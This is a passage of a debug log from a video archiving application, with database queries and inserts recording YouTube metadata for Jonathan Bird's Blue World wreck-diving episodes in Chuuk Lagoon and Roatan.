shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119024] 19:02:57.299 [debug] Current batch of media processed. Will check again in 1000ms 19:02:58.300 [debug] Current batch of media processed. Will check again in 1000ms 19:02:59.301 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "duration" => 1557, "filename" => "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", "id" => "LKKh2j6XvUY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LKKh2j6XvUY", "playlist_index" => 7, "timestamp" => 1765638011, "title" => "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "upload_date" => "20251213"} 19:02:59.302 [debug] QUERY OK source="sources" db=0.1ms idle=603.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:59.302 [debug] QUERY OK source="sources" db=0.1ms idle=603.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:59.303 [debug] QUERY OK source="media_items" db=0.9ms idle=604.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-13 15:00:11Z], 34] 19:02:59.308 [debug] QUERY OK source="media_items" db=3.9ms idle=605.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "86b48f96-0bd3-4969-9624-7710836c135b", "LKKh2j6XvUY", false, "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, [], 1557, false, 7, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, false, 98, ~U[2025-12-13 15:00:11Z], ~U[2026-06-03 23:02:59Z], ~U[2026-06-03 23:02:59Z], "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this third installment of the Chuuk adventure series. Using rebreathers for some deep penetrations into the wrecks, we find all kinds of cool stuff including airplanes, a medical kit, and a machine shop with the famous \"R2D2\" compressor!\n\nThe wrecks explored in this segment are the Heian Maru, and Fujikawa Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 3 of the Chuuk adventure. Did you see PARTS 1 & 2?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreathers\n\nChapters:\n0:00 Tease/Open\n0:27 Intro/History\n3:03 First Dive: Heian Maru\n14:24 Second Dive: Fujikawa Maru\n25:11 Summary and Credits", "Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]", "LKKh2j6XvUY", "https://www.youtube.com/watch?v=LKKh2j6XvUY", 34, 1557, false, "/downloads/rory/BlueWorldTV/2025-12-13 Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3]/Using Rebreathers to Dive DEEP INSIDE WWII wrecks of Truk (Chuuk) Lagoon! [Part 3] [LKKh2j6XvUY].mp4", false, ~U[2025-12-13 15:00:11Z]] 19:02:59.309 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=59.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:59.309 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:59.309 [debug] QUERY OK source="media_items" db=0.2ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119026] 19:02:59.310 [debug] Current batch of media processed. Will check again in 1000ms 19:03:00.067 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:00.310 [debug] Current batch of media processed. Will check again in 1000ms 19:03:01.312 [debug] Current batch of media processed. Will check again in 1000ms 19:03:02.313 [debug] Current batch of media processed. Will check again in 1000ms 19:03:02.699 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:03.314 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "duration" => 1539, "filename" => "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", "id" => "oBz4K-WfOfA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oBz4K-WfOfA", "playlist_index" => 8, "timestamp" => 1763823697, "title" => "DEEP Wreck Dive on Roatan with DiveTalk!", "upload_date" => "20251122"} 19:03:03.315 [debug] QUERY OK source="sources" db=0.3ms idle=616.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:03:03.315 [debug] QUERY OK source="sources" db=0.2ms idle=616.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:03.317 [debug] QUERY OK source="media_items" db=1.7ms idle=617.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 15:01:37Z], 34] 19:03:03.320 [debug] QUERY OK source="media_items" db=2.1ms idle=618.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "c2d21f8b-6fac-4de6-9d05-0e0f24b136a1", "oBz4K-WfOfA", false, "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, [], 1539, false, 8, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, false, 98, ~U[2025-11-22 15:01:37Z], ~U[2026-06-03 23:03:03Z], ~U[2026-06-03 23:03:03Z], "Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "oBz4K-WfOfA", "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, 1539, false, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, ~U[2025-11-22 15:01:37Z]] 19:03:03.321 [debug] QUERY OK source="sources" db=0.3ms idle=67.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:03:03.321 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:03:03.322 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119028] 19:03:03.322 [debug] Current batch of media processed. Will check again in 1000ms 19:03:04.323 [debug] Current batch of media processed. Will check again in 1000ms 19:03:05.324 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● 